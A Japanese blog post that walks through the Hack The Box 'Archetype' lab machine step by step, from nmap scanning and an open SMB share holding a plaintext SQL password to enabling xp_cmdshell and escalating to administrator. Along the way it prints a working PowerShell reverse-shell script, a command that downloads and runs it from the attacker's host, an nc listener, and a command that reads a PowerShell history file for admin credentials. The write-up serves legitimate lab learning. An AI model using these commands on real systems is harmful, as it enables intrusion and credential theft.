家studyをつづって

IT技術やセキュリティで勉強したことをつづっています。

【Hack The Box】Archtype

概要

Hack The BoxのArchetypeをやりながら学んだことをまとめます。
Starting Pointでは攻略の仕方が書かれていますが、私は書かれているコマンドの意味が理解できなかったので、色々と調べながら進めました。

 

 

 

nmapによるポートスキャン

解説には以下のコマンドが示されています。

ports=$(nmap -p- --min-rate=1000 -T4 10.10.10.27 | grep ^[0-9] | cut -d '/' -f 1 | tr '\n' ',' | sed s/,$//)
nmap -sC -sV -p$ports 10.10.10.27

これは「ports」という変数に空いているポートを代入し、2つ目のコマンドで詳細を調べているものとなります。

 

1つ目の「nmap -p- --min-rate=1000 -T4 10.10.10.27」の実行結果は以下のようになります。

 

Starting Nmap 7.91 ( https://nmap.org ) at 2021-04-22 12:53 JST
Nmap scan report for 10.10.10.27
Host is up (0.19s latency).
Not shown: 65249 closed ports, 274 filtered ports
PORT      STATE SERVICE
135/tcp   open  msrpc
139/tcp   open  netbios-ssn
445/tcp   open  microsoft-ds
1433/tcp  open  ms-sql-s
5985/tcp  open  wsman
47001/tcp open  winrm
49664/tcp open  unknown
49665/tcp open  unknown
49666/tcp open  unknown
49667/tcp open  unknown
49668/tcp open  unknown
49669/tcp open  unknown


1つ目のコマンドに続く「| grep ^[0-9] | cut -d '/' -f 1 | tr '\n' ',' | sed s/,$//)」は、上記の結果に対して、先頭が数字から始まる行を抜き出し、「/」で分割、分割した1つ目のフィールドの値を「,」でつなげるといったことをしています。

 

実際に「ports」に代入された値は以下のものになります。

$ echo $ports
135,139,445,1433,5985,47001,49664,49665,49666,49667,49668,49669

 

また、1つ目のコマンドのその他のオプションは以下の通りです。

-T4:スキャンのテンプレートでT0からT5まであります。

  • paranoid (0)
  • sneaky (1)
  • polite (2)
  • normal (3)
  • aggressive (4)
  • insane (5)

デフォルト(何も指定しないと)はT3で、T4はより高速にスキャンが行われます。さらに早いのがT5となります。

 

2つ目のコマンドでは上記のポートに対してサービスのバージョンなど詳細を調査しています。

  • -sC : デフォルトのスクリプトでスキャン(--script=defaultと同じ動作)
  • -sV : バージョンの検出

 

補足:nmapのスクリプト

Nmapにはスクリプトエンジンが搭載されています。この機能により、ユーザーはLuaというスクリプト言語を使用してNmapを拡張することができます。 

Nmapの調査

 

実行結果

$ nmap -sC -sV -p$ports 10.10.10.27 
Starting Nmap 7.91 ( https://nmap.org ) at 2021-04-22 14:47 JST
Nmap scan report for 10.10.10.27
Host is up (0.21s latency).


PORT      STATE SERVICE      VERSION
135/tcp   open  msrpc        Microsoft Windows RPC
139/tcp   open  netbios-ssn  Microsoft Windows netbios-ssn
445/tcp   open  microsoft-ds Windows Server 2019 Standard 17763 microsoft-ds
1433/tcp  open  ms-sql-s     Microsoft SQL Server 2017 14.00.1000.00; RTM
| ms-sql-ntlm-info: 
|   Target_Name: ARCHETYPE
|   NetBIOS_Domain_Name: ARCHETYPE
|   NetBIOS_Computer_Name: ARCHETYPE
|   DNS_Domain_Name: Archetype
|   DNS_Computer_Name: Archetype
|_  Product_Version: 10.0.17763
| ssl-cert: Subject: commonName=SSL_Self_Signed_Fallback
| Not valid before: 2021-04-22T06:07:08
|_Not valid after:  2051-04-22T06:07:08
|_ssl-date: 2021-04-22T06:10:27+00:00; +21m46s from scanner time.
5985/tcp  open  http         Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-server-header: Microsoft-HTTPAPI/2.0
|_http-title: Not Found
47001/tcp open  http         Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-server-header: Microsoft-HTTPAPI/2.0
|_http-title: Not Found
49664/tcp open  msrpc        Microsoft Windows RPC
49665/tcp open  msrpc        Microsoft Windows RPC
49666/tcp open  msrpc        Microsoft Windows RPC
49667/tcp open  msrpc        Microsoft Windows RPC
49668/tcp open  msrpc        Microsoft Windows RPC
49669/tcp open  msrpc        Microsoft Windows RPC
Service Info: OSs: Windows, Windows Server 2008 R2 - 2012; CPE: cpe:/o:microsoft:windows


Host script results:
|_clock-skew: mean: 1h45m46s, deviation: 3h07m51s, median: 21m45s
| ms-sql-info: 
|   10.10.10.27:1433: 
|     Version: 
|       name: Microsoft SQL Server 2017 RTM
|       number: 14.00.1000.00
|       Product: Microsoft SQL Server 2017
|       Service pack level: RTM
|       Post-SP patches applied: false
|_    TCP port: 1433
| smb-os-discovery: 
|   OS: Windows Server 2019 Standard 17763 (Windows Server 2019 Standard 6.3)
|   Computer name: Archetype
|   NetBIOS computer name: ARCHETYPE\x00
|   Workgroup: WORKGROUP\x00
|_  System time: 2021-04-21T23:10:16-07:00
| smb-security-mode: 
|   account_used: guest
|   authentication_level: user
|   challenge_response: supported
|_  message_signing: disabled (dangerous, but default)
| smb2-security-mode: 
|   2.02: 
|_    Message signing enabled but not required
| smb2-time: 
|   date: 2021-04-22T06:10:17
|_  start_date: N/A


Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 73.01 seconds

 

smbclientによる調査

上記でSMBが動作していることがわかったのでsmbclientコマンドで接続を試みます。

smbclient -N -L \\\\10.10.10.27\\

smbclient -N \\\\10.10.10.27\\backups

 

オプションの説明 

-L
このオプションを指定すると、サーバー上で利用可能な サービスを一覧することができる。smbclient -L host のようにして使うと、サービスの一覧が表示される。 NetBIOS 名が TCP/IP の DNS のホスト名に一致しない場合や、 別のネットワーク上のホストの情報を表示しようとしている場合は、 -I オプションが役にたつ。

 

-N
このオプションを指定すると、クライアントはユーザーへの パスワード入力要求をしなくなる。パスワードが必要ないサービスにアクセスする ときに有用である。

コマンドラインにパスワードが指定されておらず、このオプションも指定 されていないと、クライアントはパスワードを要求する。

もしも、パスワードがコマンドライン上で指定され、このオプションも 定義されていた場合、コマンドライン上のパスワードは無視され、パスワードは 使われない。

www.samba.gr.jp

 

一つ目のコマンドで共有フォルダの一覧が表示されます。

表示された結果より、有益な情報が配置されていそうなフォルダを推測しアクセスします。

ここでは「backup」にアクセスします。(2つ目のコマンド)

 

backupのフォルダにアクセスすると、「prod.dtsConfig 」というファイルがあります。

 

「.dtsConfig」ファイルとは

DTSCONFIGファイルは、プロパティ値をSQL Server Integration Services(SSIS)パッケージに適用するために使用されるXML構成ファイルです。このファイルには、サーバー名、データベース名、SSISパッケージを構成するその他の接続プロパティなどのメタデータで構成される1つ以上のパッケージ構成が含まれています。

https://whatext.com/ja/dtsconfig

 

ファイルの中身を表示します。

<DTSConfiguration>
<DTSConfigurationHeading>
<DTSConfigurationFileInfo GeneratedBy="..." GeneratedFromPackageName="..." GeneratedFromPackageID="..." GeneratedDate="20.1.2019 10:01:34"/>
</DTSConfigurationHeading>
<Configuration ConfiguredType="Property" Path="\Package.Connections[Destination].Properties[ConnectionString]" ValueType="String">
<ConfiguredValue>Data Source=.;Password=M3g4c0rp123;User ID=ARCHETYPE\sql_svc;Initial Catalog=Catalog;Provider=SQLNCLI10.1;Persist Security Info=True;Auto Translate=False;</ConfiguredValue>
</Configuration>
</DTSConfiguration>

アカウント情報が含まれていたため、上記を使ってSQLサーバにアクセスします。

 

SQLへのアクセス

チュートリアルでは、「impacket」の「mssqlclient.py」を使用してアクセスすることが記載されています。

「impacket」をインストールします。

 

「impacket」とは

「impacket」はネットワークを操作するためのPythonクラスのコレクション。

 

git clone https://github.com/SecureAuthCorp/impacket
pip3 install .

※pipでインストールすると、mssqlclient.pyがありませんでした。

 

先ほど確認したアカウント情報でアクセスしてみます。

mssqlclient.py ARCHETYPE/sql_svc@10.10.10.27 -windows-auth

 

ログイン後、以下のコマンドでアカウントの権限を確認します。

SELECT IS_SRVROLEMEMBER('sysadmin')

このコマンドで現在のユーザが「sysadmin」に属するか確認できます。

IS_SRVROLEMEMBER (Transact-SQL) - SQL Server | Microsoft Docs

 

「sysadmin」に属していることが確認できたため、「xp_cmdshell」を使用することが可能です。
「xp_cmdshell」はSQLコマンドを介して、Windowsのシェルでコマンドを実行できるものです。

 

xp_cmdshellを利用可能にします。

EXEC sp_configure 'Show Advanced Options', 1;
reconfigure;
sp_configure;
EXEC sp_configure 'xp_cmdshell', 1
reconfigure;

 

「xp_cmdshell」について

xp_cmdshell (Transact-sql) - SQL Server | Microsoft Docs

 

「xp_cmdshell "実行したいコマンド"」で実行可能です。
※「ping 自分のIP」等も実行可能です。

 

チュートリアルでは「whoami」の実行結果より、管理者権限の有無を判断しています。

私は上記が理解できなかったので、「whoami /all」で実行した結果より判断しました。

f:id:iestudy:20210425133305p:plain

実行結果と判断

余談ですが、管理者権限による「whoami /all」の結果の違いは以下の通りです。

f:id:iestudy:20210425133540p:plain

管理者権限の有無による実行結果の違い

管理者権限はないようなので、スクリプトを実行して権限昇格を行います。

スクリプトはチュートリアルに示されているものを参考に、IPアドレスを自分のものに変更します。

 

shell.ps1

$client = New-Object System.Net.Sockets.TCPClient("自分のIPアドレス",443);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while*1 -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + "# ";$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close() 

なお、viで上記を張り付ける際は「Shift+Insert」で張り付けるほうが良いみたいです。
echo等でスクリプトを作成した際に「$変数」の部分が消えてしまいました。

 

スクリプト実行

以下の手順でスクリプトを実行します。 

sudo ufw allow from 10.10.10.27 proto tcp to any port 80,443
sudo python3 -m http.server 80
sudo nc -lvnp 443

 

「SQL>」のターミナルで
xp_cmdshell "powershell "IEX (New-Object Net.WebClient).DownloadString(\"http://自分のIPアドレス/shell.ps1\");"

 

上記が成功するとncで待ち受けているターミナルからシェルのコマンドを実行できます。

PowerShellの履歴ファイルを参照すると管理者アカウントの情報があります。

type C:\Users\sql_svc\AppData\Roaming\Microsoft\Windows\PowerShell\PSReadline\ConsoleHost_history.txt

 

 

f:id:iestudy:20210426111117p:plain

typeコマンドによる履歴の確認

 

上記で管理者権限のアカウント情報が確認できたので、「impacket」に含まれる「psexec.py」でアクセスします。

psexec.py administrator@10.10.10.27

 

上記で管理者権限のあるシェルが取得できます。

デスクトップ上にflagの記載された「root.txt」があります。

 

参考にさせていただいたサイト

qiita.com

 


 

*1:$i = $stream.Read($bytes, 0, $bytes.Length